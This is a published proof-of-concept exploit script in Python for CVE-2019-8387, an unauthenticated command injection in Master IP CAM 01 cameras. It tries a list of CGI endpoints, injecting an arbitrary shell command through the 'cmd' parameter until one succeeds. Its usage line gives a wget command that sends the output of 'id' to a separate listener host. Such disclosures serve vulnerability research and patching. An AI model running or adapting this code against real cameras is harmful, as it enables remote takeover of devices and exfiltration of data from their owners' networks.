# Exploit Title: Master IP CAM 01 Remote Command Execution # Date: 09-02-2019 # Remote: Yes # Exploit Authors: Raffaele Sabato # Contact: https://twitter.com/syrion89 # Vendor: Master IP CAM # Version: 3.3.4.2103 # CVE: CVE-2019-8387 import sys import requests if len(sys.argv) < 3: print "[-] Usage: python MasterIpCamRCE.py <ip> <cmd>" print "[-] Example: python MasterIpCamRCE.py 192.168.1.54 'wget http://192.168.1.55:4444/$(id)'" exit(1) host = sys.argv[1] command = sys.argv[2] page = [ "bconf.cgi", "ddns_start.cgi", "getddnsattr.cgi", "getinetattr.cgi", "getnettype.cgi", "getupnp.cgi", "getwifiattr.cgi", "getwifistatus.cgi", "inetconfig.cgi", "iptest.cgi", "listwifiap.cgi", "p2p.cgi", "paraconf.cgi", "scanwifi.cgi", "setadslattr.cgi", "setddnsattr.cgi", "setinetattr.cgi", "setwifiattr.cgi", "upnp_start.cgi", "wifimode.cgi", "wifitest.cgi", ] for x in page: url = "http://"+host+"/cgi-bin/"+x+"?cmd=`"+command+"`" #url = "http://"+host+"/cgi-bin/"+x+"?action=`"+command+"`" print "[*] Attack on "+x print "[+] Sending the payload" r = requests.get(url) if r.status_code == 200: print "[+] Exploit Success" break